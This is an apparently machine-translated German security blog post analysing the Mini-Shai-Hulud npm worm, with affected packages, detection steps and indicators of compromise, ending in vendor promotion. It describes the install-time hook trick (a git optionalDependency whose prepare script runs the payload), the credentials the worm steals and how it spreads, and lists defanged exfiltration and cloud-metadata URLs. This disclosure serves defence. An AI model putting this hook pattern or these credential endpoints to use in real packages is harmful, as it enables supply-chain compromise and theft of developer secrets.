Aikido

Mini-Shai-Hulud ist zurück: Der npm-Wurm befällt über 160 Pakete, darunter Mistral und Tanstack

Verfasst von
Raphael Silva

Mini-Shai-Hulud ist zurück. Wie ich bereits sagte, hatten wir das volle Ausmaß des Angriffs noch nicht gesehen.

Die npm-Kampagne, über die wir im April berichtet haben, als sie auf SAP-Pakete abzielte, hat sich nun zu einem weitaus größeren Sicherheitsvorfall ausgeweitet. Unser Malware-Team hat 373 bösartige Paketversions-Einträge in 169 npm-Paketnamen entdeckt.

Das grundlegende Ziel ist nach wie vor dasselbe: Zugangsdaten von Entwicklerrechnern und CI/CD-Runner zu stehlen und diese Zugangsdaten dann zu nutzen, um Zugriff auf weitere Pakete zu erlangen.

Was sich geändert hat, sind das Ausmaß und der Veröffentlichungsweg. Diese Welle sieht nicht einfach so aus, als würde jemand manuell fehlerhafte Versionen veröffentlichen. Die Malware ist darauf ausgelegt, innerhalb von Build-Systemen zu laufen, npm- und GitHub-Zugangsdaten zu stehlen und vertrauenswürdige Veröffentlichungswege zu missbrauchen, um neue kompromittierte Pakete zu veröffentlichen.

Falls Sie unseren früheren Beitrag „Mini Shai-Hulud greift SAP-npm-Pakete mit einem auf Bun basierenden Secret Stealer an“ gelesen haben, ist dies die Fortsetzung: dasselbe Prinzip, aber mit einer viel größeren Reichweite.

Was geschah

TanStack ist nach wie vor einer der bekanntesten Cluster, aber das ist längst nicht mehr alles. Zu den betroffenen Paketen gehören nun auch solche aus @squawk, @tanstack, @uipath, @tallyui, @beproduct, @mistralai, @draftlab, @draftauth, @taskflow-corp, @tolkasowie mehrere Pakete ohne Gültigkeitsbereich.

Die größten Cluster in dieser Kampagne sind:

  • @squawk: 87 Einträge zur Paketversion
  • @tanstack: 83 Einträge zur Paketversion
  • @uipath: 66 Einträge zur Paketversion
  • Pakete ohne Bereich: 39 Einträge zu Paket-Versionen
  • @tallyui: 30 Einträge zur Paketversion
  • @beproduct: 18 Einträge zur Paketversion

Diese Liste wird ständig aktualisiert. Entscheidend ist nicht nur die Anzahl der Pakete, sondern auch, wo sie ausgeführt werden. Diese Pakete werden wahrscheinlich in lokalen Entwicklerumgebungen, CI-Jobs, Release-Workflows und internen Build-Systemen installiert.

Genau dort secrets npm-Token, GitHub-Token, Cloud-Anmeldedaten, Kubernetes-Dienstkontotoken und secrets gespeichert.

Betroffene Pakete und Versionen

Aktuelle Liste der Pakete und Versionen, die unser Team ermittelt hat:

  • @tanstack/Verlauf: 1.161.9, 1.161.12
  • @tanstack/react-router: 1.169.5, 1.169.8
  • @tanstack/router-core: 1.169.5, 1.169.8
  • @tanstack/router-utils: 1.161.11, 1.161.14
  • @tanstack/router-plugin: 1.167.38, 1.167.41
  • @tanstack/virtual-file-routes: 1.161.10, 1.161.13
  • @tanstack/router-generator: 1.166.45, 1.166.48
  • @tanstack/start-server-core: 1.167.33, 1.167.36
  • @tanstack/start-client-core: 1.168.5, 1.168.8
  • @tanstack/start-storage-context: 1.166.38, 1.166.41
  • @tanstack/start-plugin-core: 1.169.23, 1.169.26
  • @tanstack/react-start-server: 1.166.55, 1.166.58
  • @tanstack/react-start-client: 1.166.51, 1.166.54
  • @tanstack/start-fn-stubs: 1.161.9, 1.161.12
  • @tanstack/react-start: 1.167.68, 1.167.71
  • @tanstack/react-start-rsc: 0.0.47, 0.0.50
  • @mistralai/mistralai: 2.2.2, 2.2.3, 2.2.4
  • @tanstack/react-router-devtools: 1.166.16, 1.166.19
  • @tanstack/router-devtools-core: 1.167.6, 1.167.9
  • @tanstack/router-devtools: 1.166.16, 1.166.19
  • @tanstack/router-ssr-query-core: 1.168.3, 1.168.6
  • @tanstack/react-router-ssr-query: 1.166.15, 1.166.18
  • @tanstack/router-cli: 1.166.46, 1.166.49
  • @tanstack/zod-adapter: 1.166.12, 1.166.15
  • @tanstack/eslint-plugin-router: 1.161.9
  • @tanstack/router-vite-plugin: 1.166.53, 1.166.56
  • @tanstack/nitro-v2-vite-plugin: 1.154.12, 1.154.15
  • @mistralai/mistralai-gcp: 1.7.1, 1.7.2, 1.7.3
  • @tanstack/solid-router: 1.169.5, 1.169.8
  • @tanstack/solid-start: 1.167.65, 1.167.68
  • @tanstack/solid-start-client: 1.166.50, 1.166.53
  • @tanstack/solid-start-server: 1.166.54, 1.166.57
  • @tanstack/solid-router-devtools: 1.166.16, 1.166.19
  • @tanstack/start-static-server-functions: 1.166.44, 1.166.47
  • @tanstack/vue-router: 1.169.5, 1.169.8
  • @uipath/apollo-react: 4.24.5
  • @tanstack/solid-router-ssr-query: 1.166.15, 1.166.18
  • Sicherheitsmaßnahme: 0.8.3, 0.8.4
  • @tanstack/valibot-adapter: 1.166.12, 1.166.15
  • @tanstack/vue-start: 1.167.61, 1.167.64
  • @uipath/apollo-wind: 2.16.2
  • @uipath/cli: 1.0.1
  • @tanstack/vue-start-server: 1.166.50, 1.166.53
  • @squawk/Typen: 0.8.2, 0.8.3, 0.8.4
  • @uipath/rpa-tool: 0.9.5
  • @squawk/mcp: 0.9.1, 0.9.2, 0.9.3, 0.9.4
  • @tanstack/vue-start-client: 1.166.46, 1.166.49
  • @squawk/Wetter: 0.5.6, 0.5.7, 0.5.8, 0.5.9
  • @squawk/Luftraum: 0.8.1, 0.8.2, 0.8.3, 0.8.4
  • @squawk/icao-registry-data: 0.8.4, 0.8.5, 0.8.6, 0.8.7
  • @tanstack/arktype-adapter: 1.166.12, 1.166.15
  • @squawk/flightplan: 0.5.2, 0.5.3, 0.5.4, 0.5.5
  • @squawk/Flughäfen: 0.6.2, 0.6.3, 0.6.4, 0.6.5
  • @mesadev/sdk: 0.28.3
  • @squawk/geo: 0.4.4, 0.4.5, 0.4.6, 0.4.7
  • @mesadev/rest: 0.28.3
  • @squawk/Verfahrensdaten: 0.7.3, 0.7.4, 0.7.5, 0.7.6
  • @squawk/navaid-data: 0.6.4, 0.6.5, 0.6.6, 0.6.7
  • @squawk/Datenkorrektur: 0.6.4, 0.6.5, 0.6.6, 0.6.7
  • @squawk/Navigationshilfen: 0.4.2, 0.4.3, 0.4.4, 0.4.5
  • @squawk/Korrekturen: 0.3.2, 0.3.3, 0.3.4, 0.3.5
  • @squawk/Flughafendaten: 0.7.4, 0.7.5, 0.7.6, 0.7.7
  • @squawk/Flugdaten: 0.5.4, 0.5.5, 0.5.6, 0.5.7
  • @squawk/Einheiten: 0.4.3, 0.4.4, 0.4.5, 0.4.6
  • @squawk/Verfahren: 0.5.2, 0.5.3, 0.5.4, 0.5.5
  • @squawk/airways: 0.4.2, 0.4.3, 0.4.4, 0.4.5
  • @squawk/icao-registry: 0.5.2, 0.5.3, 0.5.4, 0.5.5
  • @uipath/apollo-core: 5.9.2
  • @squawk/notams: 0.3.6, 0.3.7, 0.3.8, 0.3.9
  • @uipath/Dateisystem: 1.0.1
  • @uipath/solutionpackager-tool-core: 0.0.34
  • @squawk/Flugmathematik: 0.5.4, 0.5.5, 0.5.6, 0.5.7
  • @squawk/Luftraumdaten: 0.5.3, 0.5.4, 0.5.5, 0.5.6
  • @mistralai/mistralai-azure: 1.7.1, 1.7.2, 1.7.3
  • @uipath/solution-tool: 1.0.1
  • @tanstack/eslint-plugin-start: 0.0.4, 0.0.7
  • @uipath/maestro-tool: 1.0.1
  • @uipath/codedapp-tool: 1.0.1
  • @uipath/agent-tool: 1.0.1
  • @draftlab/auth: 0.24.1, 0.24.2
  • @uipath/orchestrator-tool: 1.0.1
  • @uipath/integrationservice-tool: 1.0.2
  • @taskflow-corp/cli: 0.1.24, 0.1.25, 0.1.26, 0.1.27, 0.1.28, 0.1.29
  • @tanstack/vue-router-ssr-query: 1.166.15, 1.166.18
  • @uipath/rpa-legacy-tool: 1.0.1
  • @uipath/vertical-solutions-tool: 1.0.1
  • @uipath/flow-tool: 1.0.2
  • @uipath/codedagent-tool: 1.0.1
  • @uipath/common: 1.0.1
  • @uipath/resource-tool: 1.0.1
  • @uipath/auth: 1.0.1
  • @uipath/docsai-tool: 1.0.1
  • @uipath/case-tool: 1.0.1
  • @uipath/api-workflow-tool: 1.0.1
  • @tanstack/vue-router-devtools: 1.166.16, 1.166.19
  • @uipath/test-manager-tool: 1.0.2
  • @uipath/robot: 1.3.4
  • @uipath/traces-tool: 1.0.1
  • @uipath/agent-sdk: 1.0.2
  • @uipath/integrationservice-sdk: 1.0.2
  • @uipath/maestro-sdk: 1.0.1
  • @uipath/data-fabric-tool: 1.0.2
  • @mesadev/saguaro: 0.4.22
  • @uipath/tasks-tool: 1.0.1
  • @uipath/insights-tool: 1.0.1
  • @uipath/insights-sdk: 1.0.1
  • @uipath/uipath-python-bridge: 1.0.1
  • @draftlab/db: 0.16.1
  • @uipath/ap-chat: 1.5.7
  • @uipath/project-packager: 1.1.16
  • @uipath/packager-tool-case: 0.0.9
  • @uipath/packager-tool-workflowcompiler-browser: 0.0.34
  • @uipath/packager-tool-connector: 0.0.19
  • @uipath/packager-tool-workflowcompiler: 0.0.16
  • @uipath/packager-tool-webapp: 1.0.6
  • @uipath/packager-tool-apiworkflow: 0.0.19
  • @uipath/packager-tool-functions: 0.1.1
  • ts-DNA: 3.0.1, 3.0.2, 3.0.3, 3.0.4
  • @uipath/widget.sdk: 1.2.3
  • @uipath/resources-tool: 0.1.11
  • @uipath/agent.sdk: 0.0.18
  • Kreuzstich: 1.1.3, 1.1.4, 1.1.5, 1.1.6
  • @uipath/codedagents-tool: 0.1.12
  • @uipath/aops-policy-tool: 0.3.1
  • @uipath/solution-packager: 0.0.35
  • @draftlab/auth-router: 0.5.1, 0.5.2
  • cmux-agent-mcp: 0.1.3, 0.1.4, 0.1.5, 0.1.6, 0.1.7, 0.1.8
  • agentwork-cli: 0.1.4, 0.1.5
  • @uipath/packager-tool-bpmn: 0.0.9
  • @draftauth/core: 0.13.1, 0.13.2
  • @dirigible-ai/sdk: 0.6.2, 0.6.3
  • @uipath/packager-tool-flow: 0.0.19
  • Git-Zweig-Auswahl: 1.3.3, 1.3.4, 1.3.5, 1.3.6, 1.3.7
  • wot-api: 0.8.1, 0.8.2, 0.8.3, 0.8.4
  • git-git-git: 1.0.8, 1.0.9, 1.0.10, 1.0.11, 1.0.12
  • @beproduct/nestjs-auth: 0.1.2, 0.1.3, 0.1.4, 0.1.5, 0.1.6, 0.1.7, 0.1.8, 0.1.9, 0.1.10, 0.1.11, 0.1.12, 0.1.13, 0.1.14, 0.1.15, 0.1.16, 0.1.17, 0.1.18, 0.1.19
  • @ml-toolkit-ts/xgboost: 1.0.3, 1.0.4
  • nextmove-mcp: 0.1.3, 0.1.4, 0.1.5, 0.1.6, 0.1.7
  • ml-toolkit-ts: 1.0.4, 1.0.5
  • @uipath/Telemetrie: 0.0.7
  • @draftauth/client: 0.2.1, 0.2.2
  • @ml-toolkit-ts/Vorverarbeitung: 1.0.2, 1.0.3
  • @tallyui/Connector-Medusa: 1.0.1, 1.0.2, 1.0.3
  • @uipath/tool-workflowcompiler: 0.0.12
  • @uipath/vss: 0.1.6
  • @tallyui/theme: 0.2.1, 0.2.2, 0.2.3
  • @tallyui/storage-sqlite: 0.2.1, 0.2.2, 0.2.3
  • @uipath/solutionpackager-sdk: 1.0.11
  • @tallyui/connector-vendure: 1.0.1, 1.0.2, 1.0.3
  • @tallyui/core: 0.2.1, 0.2.2, 0.2.3
  • @tallyui/WooCommerce-Connector: 1.0.1, 1.0.2, 1.0.3
  • @tallyui/components: 1.0.1, 1.0.2, 1.0.3
  • @uipath/ui-widgets-multi-file-upload: 1.0.1
  • @tallyui/pos: 0.1.1, 0.1.2, 0.1.3
  • @tallyui/Datenbank: 1.0.1, 1.0.2, 1.0.3
  • @supersurkhet/cli: 0.0.2, 0.0.3, 0.0.4, 0.0.5, 0.0.6, 0.0.7
  • @tallyui/Shopify-Connector: 1.0.1, 1.0.2, 1.0.3
  • @tolka/cli: 1.0.2, 1.0.3, 1.0.4, 1.0.5, 1.0.6
  • @supersurkhet/sdk: 0.0.2, 0.0.3, 0.0.4, 0.0.5, 0.0.6, 0.0.7
  • @uipath/access-policy-tool: 0.3.1
  • @uipath/Kontextverankerungs-Tool: 0.1.1
  • @uipath/gov-tool: 0.3.1
  • @uipath/admin-tool: 0.1.1
  • @uipath/identity-tool: 0.1.1
  • @uipath/llmgw-tool: 1.0.1
  • @uipath/resourcecatalog-tool: 0.1.1
  • @uipath/functions-tool: 1.0.1
  • @uipath/access-policy-sdk: 0.3.1
  • @uipath/platform-tool: 1.0.1

So funktioniert die neue Welle

Im Rahmen der SAP-Welle fügten die kompromittierten Pakete eine preinstall Haken, der lief setup.mjs, das daraufhin Bun nutzte, um eine große, verschleierte Nutzlast namens execution.js.

Diese Welle nimmt einen etwas anderen Weg.

In kompromittierten TanStack-Paketen enthält der Paket-Tarball eine neue verschleierte Datei im Stammverzeichnis des Pakets:

router_init.js

Das kompromittierte Paket fügt außerdem eine optionale Abhängigkeit hinzu, die auf ein auf GitHub gehostetes Paket verweist

"optionalDependencies": {
  "@tanstack/setup": "github:tanstack/router#79ac49eedf774dd4b0cfa308722bc463cfe5885c"
}

Diese Git-Abhängigkeit enthält eine vorbereiten Skript:

"scripts": {
  "prepare": "bun run tanstack_runner.js && exit 1"
}

Das ist der Trick. npm führt bei der Installation Lebenszyklus-Skripte für Git-Abhängigkeiten aus. So kann ein Paket, das wie eine normale Abhängigkeit aussieht, unbemerkt auf eine bei GitHub gehostete Abhängigkeit zugreifen und deren vorbereiten Hook und die Payload ausführen.

Der && exit 1 Das Ende ist ebenfalls interessant. Da die Abhängigkeit optional ist, kann ein Fehler nach der Ausführung der Nutzlast die Installation weniger verdächtig erscheinen lassen. Der Schadcode ist bereits ausgeführt, wenn npm die optionale Abhängigkeit als fehlgeschlagen behandelt.

Warum vertrauenswürdige Veröffentlichungen hier wichtig sind

Einer der eher heiklen Aspekte dieser Entwicklung ist der Einsatz von „Trusted Publishing“.

„Trusted Publishing“ soll lang gültige npm-Token aus Release-Workflows entfernen. Ein GitHub-Actions-Workflow kann mithilfe von OIDC ein kurzzeitig gültiges npm-Publish-Token anfordern, das Paket veröffentlichen und dem Release eine Herkunftsangabe hinzufügen.

Das ist gut, wenn der Arbeitsablauf übersichtlich ist.

Noch viel schlimmer ist es, wenn im Workflow von einem Angreifer kontrollierter Code ausgeführt wird. In diesem Fall muss der Angreifer möglicherweise gar kein langfristig gültiges npm-Token stehlen. Er kann die OIDC-Berechtigungen des Workflows nutzen, um während des Build-Vorgangs ein Veröffentlichungstoken zu generieren und von dort aus zu veröffentlichen.

Das bedeutet auch, dass die Herkunft kein vollständiger Sicherheitsindikator ist. Ein schädliches Paket kann dennoch aus dem erwarteten GitHub-Actions-Workflow stammen, wenn dieser Workflow während der Veröffentlichung missbraucht wurde.

Einfach ausgedrückt: Anhand der Herkunft lässt sich feststellen, wo das Paket erstellt wurde. Das beweist jedoch nicht, dass die Erstellung sicher war.

Was die Schadsoftware zu stehlen versucht

Die Payload ist für CI/CD- und Entwicklerumgebungen konzipiert.

Es sucht nach:

  • GitHub-Tokens
  • npm-Token
  • GitHub Actions OIDC-Token
  • AWS-Anmeldedaten und Instanz-Metadaten
  • Kubernetes-Dienstkonten-Dateien
  • HashiCorp Vault-Token und lokale Vault-Endpunkte
  • Umgebungsvariablen
  • secrets des lokalen Dateisystems

Die Nutzlast enthält zudem eine Ausbreitungslogik. Nach dem Diebstahl der Token versucht sie, diese zu nutzen, um Pakete zu finden, die das Opfer veröffentlichen kann, Paketarchive zu verändern, die bösartige Abhängigkeit einzuschleusen, Versionsnummern zu erhöhen und neue kompromittierte Versionen zu veröffentlichen.

Das ist es, was diese Malware zu mehr als einem gewöhnlichen Infostealer macht. Die Malware versucht nicht nur, Daten vom aktuellen Opfer zu stehlen. Sie versucht vielmehr, den Zugriff auf die Daten des Opfers als nächsten Infektionsweg zu nutzen.

Was sich seit dem SAP-Angriff geändert hat

Die SAP-Welle umfasste zwar weniger Pakete, hatte aber dennoch große Auswirkungen, da sie die Build-Tools für Unternehmen betraf.

Diese Welle ist weitreichender. TanStack-Pakete finden in modernen JavaScript-Anwendungen breite Anwendung, insbesondere im Bereich Routing und bei Full-Stack-React-Tools. Ein kompromittiertes Paket in diesem Teil des Abhängigkeitsbaums kann sich schnell an vielen Stellen verbreiten.

Es gibt auch einige technische Änderungen:

  • die verwendeten SAP-Pakete setup.mjs und execution.js
  • Die neuere TanStack-Version verwendet router_init.js und ein auf GitHub gehostetes @tanstack/setup Abhängigkeit
  • Die neuere Entwicklung setzt stärker auf GitHub Actions, OIDC, die Veröffentlichung über npm und das Neuverpacken von Paketen
  • Die Payload basiert weiterhin auf Bun und zielt nach wie vor darauf ab, secrets zu stehlen

Das Muster ist jedoch immer dasselbe: Während der Installation wird Code ausgeführt, Zugangsdaten werden gestohlen und mit diesen Zugangsdaten wird weitere Malware verbreitet.

Erkennung und Abwehr

Beginnen Sie mit den Sperrdateien und den Paket-Caches.

Suche nach betroffenen Namespaces und Paketen:

  • @squawk/
  • @tanstack/
  • @uipath/
  • @tallyui/
  • @beproduct/nestjs-auth
  • @mistralai/
  • @draftauth/
  • @draftlab/
  • @taskflow-corp/cli
  • @tolka/cli
  • @ml-toolkit-ts/
  • @mesadev/
  • @dirigible-ai/sdk
  • @supersurkhet/
  • die oben aufgeführten Pakete ohne Gültigkeitsbereich, einschließlich Sicherheitsmaßnahme, ts-DNA, Kreuzstich, cmux-agent-mcp, agentwork-cli, Git-Zweig-Auswahl, wot-api, git-git-git, nextmove-mcp, und ml-toolkit-ts

Suche nach den neuen Payload-Dateien und Abhängigkeitsmarkern:

  • router_init.js
  • router_runtime.js
  • tanstack_runner.js
  • @tanstack/setup
  • github:tanstack/router#79ac49eedf774dd4b0cfa308722bc463cfe5885c
  • bun run tanstack_runner.js

CI-Protokolle durchsuchen nach:

  • unerwartete Ausführung von „Bun“ während npm install
  • Fehler bei optionalen Abhängigkeiten, die @tanstack/setup
  • ausgehende Verbindungen während der Installation von Abhängigkeiten
  • npm-Veröffentlichungen aus Workflows, die nicht hätten veröffentlicht werden sollen
  • OIDC-Token-Anfragen von GitHub Actions bei unerwarteten Schritten

Falls eine kompromittierte Paketversion auf einem Entwicklerrechner oder einem CI-Runner ausgeführt wurde, sollten Sie secrets Umgebung austauschen. Beschränken Sie sich dabei nicht nur auf npm-Token.

Drehen oder überprüfen:

  • npm-Token und Zugriffsrechte für die Veröffentlichung von Paketen
  • GitHub-PATs und GitHub-Actions secrets
  • Cloud-Anmeldedaten
  • Kubernetes-Dienstkontotoken
  • Vault-Token
  • secrets

Überprüfen Sie außerdem die jüngsten npm-Veröffentlichungen, GitHub-Actions-Ausführungen und Herkunftsnachweise. Ein gültiger Herkunftsnachweis sollte nicht als Beweis dafür angesehen werden, dass das Paket fehlerfrei ist.

Kompromittierungsindikatoren

Dateien und Nutzdaten:

  • router_init.js
  • router_runtime.js
  • tanstack_runner.js
  • router_init.js SHA-256: ab4fcadaec49c03278063dd269ea5eef82d24f2124a8e15d7b90f2fa8601266c
  • tanstack_runner.js SHA-256: 2ec78d556d696e208927cc503d48e4b5eb56b31abc2870c2ed2e98d6be27fc96

Paketmarkierungen:

  • @tanstack/setup
  • github:tanstack/router#79ac49eedf774dd4b0cfa308722bc463cfe5885c
  • vorbereiten Skript wird ausgeführt bun run tanstack_runner.js
  • eine Payload-Datei auf Root-Ebene, die außerhalb des normalen Paketinhaltes enthalten ist

Netzwerk- und Dienstindikatoren:

  • hxxp://filev2[.]getsession[.]org/file/
  • hxxp://169[.]254[.]169[.]254/latest/meta-data/iam/security-credentials/
  • hxxp://169[.]254[.]170[.]2
  • hxxps://registry[.]npmjs[.]org/-/npm/v1/tokens
  • vault[.]svc[.]cluster[.]local:8200

Kampagnenmarker:

  • Ein Mini-Shai-Hulud ist aufgetaucht
  • Repository-Namen zum Thema „Dune“, die für die Worm-Ausgabe und die Staging-Umgebung verwendet werden

Fazit

„Mini Shai-Hulud“ hat sich von einem kleineren, auf SAP ausgerichteten Vorfall zu einem umfassenderen Angriff auf die npm-Lieferkette entwickelt.

Die wichtige Erkenntnis ist nicht nur, dass mehr Pakete kompromittiert wurden. Vielmehr ist es so, dass die Malware auf der Funktionsweise moderner Release-Systeme aufbaut. Sie wird während der Installation ausgeführt, sucht nach CI/CD-Anmeldedaten, missbraucht die Veröffentlichungspfade von GitHub und npm und versucht, sich in das nächste Paket einzuschleusen.

Falls eines der betroffenen Pakete in Ihrer Umgebung ausgeführt wurde, betrachten Sie den Rechner oder Runner als gefährdet, bis secrets und die jüngsten Veröffentlichungsaktivitäten überprüft wurden.

Wie Aikido dies erkennt

Wenn Sie ein Aikido-Benutzer sind, überprüfen Sie Ihren zentralen Feed und filtern Sie nach Malware-Problemen. Dies wird als kritisches Problem mit 100/100 angezeigt. Aikido führt nächtliche Rescans durch, aber wir empfehlen, jetzt einen manuellen Rescan auszulösen.

Wenn Sie noch kein Aikido-Benutzer sind, können Sie ein Konto erstellen und Ihre Repos verbinden. Unsere Malware-Abdeckung ist im kostenlosen Plan enthalten, keine Kreditkarte erforderlich.

Für eine umfassendere Abdeckung Ihres gesamten Teams bietet Aikidos Endpoint Protection Ihnen Transparenz und Kontrolle über die Softwarepakete, die auf den Geräten Ihres Teams installiert sind. Es deckt Browser-Erweiterungen, Code-Bibliotheken, IDE-Plugins und Build-Abhängigkeiten ab, alles an einem Ort. Stoppen Sie Malware, bevor sie installiert wird.

Denken Sie für zukünftige Sicherheit an Aikido Chain (Open Source). Safe Chain lässt sich in Ihren bestehenden Arbeitsablauf integrieren, fängt Befehle wie npm, npx, yarn, pnpm und pnpx ab und überprüft Pakete vor der Installation anhand von Aikido .

Teilen:

https://www.aikido.dev/blog/mini-shai-hulud-is-back-tanstack-compromised

News abonnieren

4.7/5
Falschpositive Ergebnisse leid?

Probieren Sie Aikido, wie 100.000 andere.
Jetzt starten
Erhalten Sie eine personalisierte Führung

Von über 100.000 Teams vertraut

Jetzt buchen
Scannen Sie Ihre App nach IDORs und realen Angriffspfaden

Von über 100.000 Teams vertraut

Scan starten
Erfahren Sie, wie KI-Penetrationstests Ihre App testen

Von über 100.000 Teams vertraut

Testen starten

Sicherheit jetzt implementieren

Sichern Sie Ihren Code, Ihre Cloud und Ihre Laufzeit in einem zentralen System.
Finden und beheben Sie Schwachstellen schnell und automatisch.

Keine Kreditkarte erforderlich | Scan-Ergebnisse in 32 Sek.